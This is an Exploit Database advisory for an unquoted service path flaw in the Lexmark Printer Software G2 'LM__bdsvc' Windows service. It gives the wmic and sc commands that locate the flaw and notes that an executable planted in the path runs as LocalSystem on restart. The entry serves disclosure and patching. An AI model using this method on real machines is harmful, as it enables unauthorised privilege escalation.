Lexmark Printer Software G2 Installation Package 1.8.0.0 – ‘LM__bdsvc’ Unquoted Service Path

• Exploit Database
• 12 阅读

• 作者： Julio Aviña
  日期： 2021-06-21
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50045/

• # Exploit Title: Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path
  # Date: 2021-06-20
  # Exploit Author: Julio Aviña
  # Vendor Homepage: https://www.lexmark.com/
  # Software Link: https://downloads.lexmark.com/downloads/drivers/Lexmark_Printer_Software_G2_Installation_Package_01292021.exe
  # Version: 1.8.0.0
  # Tested on: Windows 10 Pro x64 es 
  # Vulnerability Type: Unquoted Service Path
  
  
  # 1. To find the unquoted service path vulnerability
  
  C:\>wmic service where 'name like "%LM__bdsvc%"' get displayname, pathname, startmode, startname
  
  DisplayName PathName StartModeStartName
  Lexmark Communication SystemC:\Program Files\Lexmark\Bidi\LM__bdsvc.exeAuto LocalSystem
  
  # 2. To check service info:
  
  C:\>sc qc "LM__bdsvc"
  [SC] QueryServiceConfig CORRECTO
  
  NOMBRE_SERVICIO: LM__bdsvc
  TIPO : 110WIN32_OWN_PROCESS (interactive)
  TIPO_INICIO: 2 AUTO_START
  CONTROL_ERROR: 1 NORMAL
  NOMBRE_RUTA_BINARIO: C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe
  GRUPO_ORDEN_CARGA:
  ETIQUETA : 0
  NOMBRE_MOSTRAR : Lexmark Communication System
  DEPENDENCIAS :
  NOMBRE_INICIO_SERVICIO: LocalSystem
  
  
  # 3. Exploit:
  
  A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
  When restarting the service or the system, the inserted executable will run with elevated privileges.